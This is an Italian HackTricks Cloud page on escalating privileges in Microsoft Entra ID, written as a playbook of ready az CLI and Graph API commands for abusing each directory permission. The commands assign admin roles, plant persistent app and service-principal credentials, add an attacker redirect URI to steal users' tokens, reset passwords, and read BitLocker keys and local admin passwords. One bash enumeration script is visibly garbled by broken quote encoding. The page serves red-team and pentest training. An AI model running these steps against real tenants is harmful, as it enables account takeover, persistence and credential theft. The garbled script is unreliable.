Az - EntraID Privesc
Tip
Impara & pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sostieni HackTricks
- Controlla i subscription plans!
- Unisciti al đŹ Discord group o al telegram group o seguici su Twitter đŚ @hacktricks_live.
- Condividi hacking tricks inviando PRs ai HackTricks e HackTricks Cloud github repos.
Note
Nota che non tutte le autorizzazioni granulari che i ruoli integrati hanno in Entra ID sono eleggibili per essere utilizzate nei ruoli personalizzati.
Ruoli
Ruolo: Privileged Role Administrator
Questo ruolo contiene le autorizzazioni granulari necessarie per poter assegnare ruoli ai principals e per concedere ulteriori permessi ai ruoli. Entrambe le azioni potrebbero essere abusate per escalare i privilegi.
- Assegnare un ruolo a un utente:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
- Aggiungere piĂš permessi a un ruolo:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'
Applicazioni
microsoft.directory/applications/credentials/update
Questo consente a un attaccante di aggiungere credenziali (password o certificati) ad applicazioni esistenti. Se lâapplicazione dispone di permessi privilegiati, lâattaccante può autenticarsi come tale applicazione e ottenere tali privilegi.
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
microsoft.directory/applications.myOrganization/credentials/update
Ciò consente le stesse azioni di applications/credentials/update, ma limitate alle applicazioni di una singola directory.
az ad app credential reset --id <appId> --append
microsoft.directory/applications/owners/update
Aggiungendosi come owner, un attacker può manipolare lâapplicazione, incluse le credenziali e le autorizzazioni.
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
# You can check the owners with
az ad app owner list --id <appId>
microsoft.directory/applications/allProperties/update
Un attaccante può aggiungere un URI di reindirizzamento alle applicazioni utilizzate dagli utenti del tenant e poi condividere con loro URL di accesso che usano il nuovo URI di reindirizzamento per rubare i loro token. Nota che se lâutente era giĂ autenticato nellâapplicazione, lâautenticazione sarĂ automatica senza che lâutente debba accettare nulla.
Nota che è anche possibile modificare le autorizzazioni richieste dallâapplicazione per ottenere piĂš privilegi; in questo caso lâutente dovrĂ accettare nuovamente il prompt che richiede tutte le autorizzazioni.
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
Applications Privilege Escalation
As explained in this post era molto comune trovare applicazioni predefinite che hanno API permissions di tipo Application assegnate a loro. Un API Permission (come chiamato nella Entra ID console) di tipo Application significa che lâapplicazione può accedere allâAPI ed eseguire azioni senza un contesto utente (senza un utente che effettua il login nellâapp), e senza bisogno dei ruoli Entra ID per permetterlo. Di conseguenza, è molto comune trovare applicazioni con privilegi elevati in ogni Entra ID tenant.
Quindi, se un attaccante ha qualsiasi permesso/ruolo che gli permette di aggiornare le credenziali (segreto o certificato) dellâapplicazione, lâattaccante può generare una nuova credenziale e poi usarla per autenticarsi come lâapplicazione, ottenendo tutti i permessi che lâapplicazione possiede.
Nota che il blog menzionato condivide alcune API permissions di comuni applicazioni Microsoft predefinite; tuttavia, qualche tempo dopo questo report Microsoft ha risolto il problema e ora non è piÚ possibile effettuare il login come applicazioni Microsoft. Rimane comunque possibile trovare applicazioni personalizzate con privilegi elevati che potrebbero essere abusate.
How to enumerate the API permissions of an application:
# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]
## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Trova tutte le autorizzazioni API delle applicazioni e contrassegna le API di proprietĂ Microsoft
```bash #!/usr/bin/env bash set -euo pipefailKnown Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=( âf8cdef31-a31e-4b4a-93e4-5f571e91255aâ â72f988bf-86f1-41af-91ab-2d7cd011db47â )
is_microsoft_owner() { local owner=â$1â local id for id in â${MICROSOFT_OWNER_ORG_IDS[@]}â; do if [ â$ownerâ = â$idâ ]; then return 0 fi done return 1 }
get_permission_value() { local resource_app_id=â$1â local perm_type=â$2â local perm_id=â$3â local key value key=â${resource_app_id}|${perm_type}|${perm_id}â
value=â$(awk -F â\tâ -v k=â$keyâ â$1==k {print $2; exit}â â$tmp_perm_cacheâ)â if [ -n â$valueâ ]; then printf â%s\nâ â$valueâ return 0 fi
if [ â$perm_typeâ = âScopeâ ]; then value=â$(az ad sp show âid â$resource_app_idâ âquery âoauth2PermissionScopes[?id==â$perm_idâ].value | [0]â -o tsv 2>/dev/null || true)â elif [ â$perm_typeâ = âRoleâ ]; then value=â$(az ad sp show âid â$resource_app_idâ âquery âappRoles[?id==â$perm_idâ].value | [0]â -o tsv 2>/dev/null || true)â else value=ââ fi
[ -n â$valueâ ] || value=âUNKNOWNâ printf â%s\t%s\nâ â$keyâ â$valueâ >> â$tmp_perm_cacheâ printf â%s\nâ â$valueâ }
command -v az >/dev/null 2>&1 || { echo âaz CLI not foundâ >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo âjq not foundâ >&2; exit 1; } az account show >/dev/null
apps_json=â$(az ad app list âall âquery â[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]â -o json)â
tmp_map=â$(mktemp)â tmp_ids=â$(mktemp)â tmp_perm_cache=â$(mktemp)â trap ârm -f â$tmp_mapâ â$tmp_idsâ â$tmp_perm_cacheââ EXIT
Build unique resourceAppId values used by applications.
jq -r â.[][2][]?.resourceAppIdâ <<<â$apps_jsonâ | sort -u > â$tmp_idsâ
Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do [ -n â$ridâ ] || continue sp_json=â$(az ad sp show âid â$ridâ âquery â{owner:appOwnerOrganizationId,name:displayName}â -o json 2>/dev/null || true)â owner=â$(jq -r â.owner // âUNKNOWNââ <<<â$sp_jsonâ)â name=â$(jq -r â.name // âUNKNOWNââ <<<â$sp_jsonâ)â printf â%s\t%s\t%s\nâ â$ridâ â$ownerâ â$nameâ >> â$tmp_mapâ done < â$tmp_idsâ
echo -e âappDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissionsâ
Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do app_name=â$(jq -r â.[0]â <<<â$rowâ)â app_id=â$(jq -r â.[1]â <<<â$rowâ)â
while IFS= read -r rra; do resource_app_id=â$(jq -r â.resourceAppIdâ <<<â$rraâ)â map_line=â$(awk -F â\tâ -v id=â$resource_app_idâ â$1==id {print; exit}â â$tmp_mapâ)â owner_org=â$(awk -Fâ\tâ â{print $2}â <<<â$map_lineâ)â resource_name=â$(awk -Fâ\tâ â{print $3}â <<<â$map_lineâ)â
[ -n â$owner_orgâ ] || owner_org=âUNKNOWNâ [ -n â$resource_nameâ ] || resource_name=âUNKNOWNâ
if is_microsoft_owner â$owner_orgâ; then is_ms=âtrueâ else is_ms=âfalseâ fi
permissions_csv=ââ while IFS= read -r access; do perm_type=â$(jq -r â.typeâ <<<â$accessâ)â perm_id=â$(jq -r â.idâ <<<â$accessâ)â perm_value=â$(get_permission_value â$resource_app_idâ â$perm_typeâ â$perm_idâ)â perm_label=â${perm_type}:${perm_value}â if [ -z â$permissions_csvâ ]; then permissions_csv=â$perm_labelâ else permissions_csv=â${permissions_csv},${perm_label}â fi done < <(jq -c â.resourceAccess[]â <<<â$rraâ)
echo -e â${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}â done < <(jq -c â.[2][]â <<<â$rowâ) done < <(jq -c â.[]â <<<â$apps_jsonâ)
</details>
## Service Principals
### `microsoft.directory/servicePrincipals/credentials/update`
Questo permette a un attaccante di aggiungere credenziali a service principals esistenti. Se il service principal ha privilegi elevati, l'attaccante può assumere tali privilegi.
```bash
az ad sp credential reset --id <sp-id> --append
Caution
La nuova password generata non apparirĂ nella web console, quindi questo potrebbe essere un modo furtivo per mantenere persistenza su un service principal.
DallâAPI possono essere trovate con:az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json
Se ottieni lâerrore "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." è perchĂŠ non è possibile modificare la proprietĂ passwordCredentials dello SP e prima devi sbloccarlo. Per farlo è necessaria unâautorizzazione (microsoft.directory/applications/allProperties/update) che consente di eseguire:
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
microsoft.directory/servicePrincipals/synchronizationCredentials/manage
Questo permette a un attaccante di aggiungere credenziali ai service principals esistenti. Se il service principal ha privilegi elevati, lâattaccante può assumere tali privilegi.
az ad sp credential reset --id <sp-id> --append
microsoft.directory/servicePrincipals/owners/update
Analogamente alle applications, questo permesso consente di aggiungere altri owners a un service principal. Possedere un service principal permette il controllo sulle sue credentials e permissions.
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
az ad sp credential reset --id <sp-id> --append
# You can check the owners with
az ad sp owner list --id <spId>
Caution
Dopo aver aggiunto un nuovo owner, ho provato a rimuoverlo ma lâAPI ha risposto che il metodo DELETE non era supportato, anche se è il metodo che devi usare per rimuovere lâowner. Quindi non puoi rimuovere gli owner al momento.
microsoft.directory/servicePrincipals/disable e enable
Questi permessi consentono di disabilitare e abilitare i service principals. Un attacker potrebbe usare questo permesso per abilitare un service principal a cui riuscisse ad ottenere lâaccesso in qualche modo, per escalate privileges.
Nota che per questa tecnica lâattacker avrĂ bisogno di permessi aggiuntivi per poter take over il service principal abilitato.
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true
microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials
Queste autorizzazioni permettono di creare e ottenere credenziali per single sign-on, il che potrebbe consentire lâaccesso ad applicazioni di terze parti.
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
Gruppi
microsoft.directory/groups/allProperties/update
Questa autorizzazione consente di aggiungere utenti a gruppi privilegiati, portando a privilege escalation.
az ad group member add --group <GroupName> --member-id <UserId>
Nota: Questa autorizzazione esclude Entra ID role-assignable groups.
microsoft.directory/groups/owners/update
Questa autorizzazione consente di diventare owner di gruppi. Un owner di un gruppo può controllare lâappartenenza e le impostazioni del gruppo, potenzialmente permettendo lâelevazione dei privilegi tramite il gruppo.
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
Nota: Questa autorizzazione esclude i role-assignable groups di Entra ID.
microsoft.directory/groups/members/update
Questa autorizzazione consente di aggiungere membri a un gruppo. Un attacker potrebbe aggiungere se stesso o malicious accounts a privileged groups per ottenere accesso elevato.
az ad group member add --group <GroupName> --member-id <UserId>
microsoft.directory/groups/dynamicMembershipRule/update
Questa autorizzazione consente di aggiornare la membership rule di un gruppo dinamico. Un attacker potrebbe modificare le regole dinamiche per includere se stesso in gruppi privilegiati senza unâaggiunta esplicita.
groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'
Nota: Questa autorizzazione esclude Entra ID role-assignable groups.
Dynamic Groups Privesc
Potrebbe essere possibile per gli utenti aumentare i propri privilegi modificando le proprie proprietĂ per essere aggiunti come membri dei dynamic groups. Per maggiori informazioni consulta:
Utenti
microsoft.directory/users/password/update
Questa autorizzazione consente di reimpostare la password degli utenti non amministratori, permettendo a un potenziale attaccante di aumentare i privilegi sugli altri utenti. Questa autorizzazione non può essere assegnata a ruoli personalizzati.
az ad user update --id <user-id> --password "kweoifuh.234"
microsoft.directory/users/basic/update
Questo privilegio permette di modificare le proprietĂ dellâutente. Ă comune trovare gruppi dinamici che aggiungono utenti in base ai valori delle proprietĂ ; di conseguenza, questo permesso potrebbe consentire a un utente di impostare il valore di proprietĂ necessario per diventare membro di un gruppo dinamico specifico e elevare i privilegi.
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
Criteri di accesso condizionale & MFA bypass
Criteri di accesso condizionale mal configurati che richiedono MFA potrebbero essere bypassati, controlla:
Az - Conditional Access Policies & MFA Bypass
Dispositivi
microsoft.directory/devices/registeredOwners/update
Questa autorizzazione permette agli attaccanti di assegnarsi come proprietari dei dispositivi per ottenere il controllo o lâaccesso alle impostazioni e ai dati specifici del dispositivo.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/devices/registeredUsers/update
Questa autorizzazione consente agli attaccanti di associare il proprio account a dispositivi per ottenere accesso o eludere le politiche di sicurezza.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/deviceLocalCredentials/password/read
Questa autorizzazione consente agli attackers di leggere le proprietĂ delle credenziali dellâaccount amministratore locale salvate per i dispositivi uniti a Microsoft Entra, inclusa la password
# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
BitlockerKeys
microsoft.directory/bitlockerKeys/key/read
Questa autorizzazione consente lâaccesso alle chiavi di BitLocker, il che potrebbe permettere a un attaccante di decrittare i dischi, compromettendo la riservatezza dei dati.
# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
Altre permissions interessanti (TODO)
microsoft.directory/applications/permissions/updatemicrosoft.directory/servicePrincipals/permissions/updatemicrosoft.directory/applications.myOrganization/allProperties/updatemicrosoft.directory/applications/allProperties/updatemicrosoft.directory/servicePrincipals/appRoleAssignedTo/updatemicrosoft.directory/applications/appRoles/updatemicrosoft.directory/applications.myOrganization/permissions/update
Tip
Impara & pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sostieni HackTricks
- Controlla i subscription plans!
- Unisciti al đŹ Discord group o al telegram group o seguici su Twitter đŚ @hacktricks_live.
- Condividi hacking tricks inviando PRs ai HackTricks e HackTricks Cloud github repos.
HackTricks Cloud

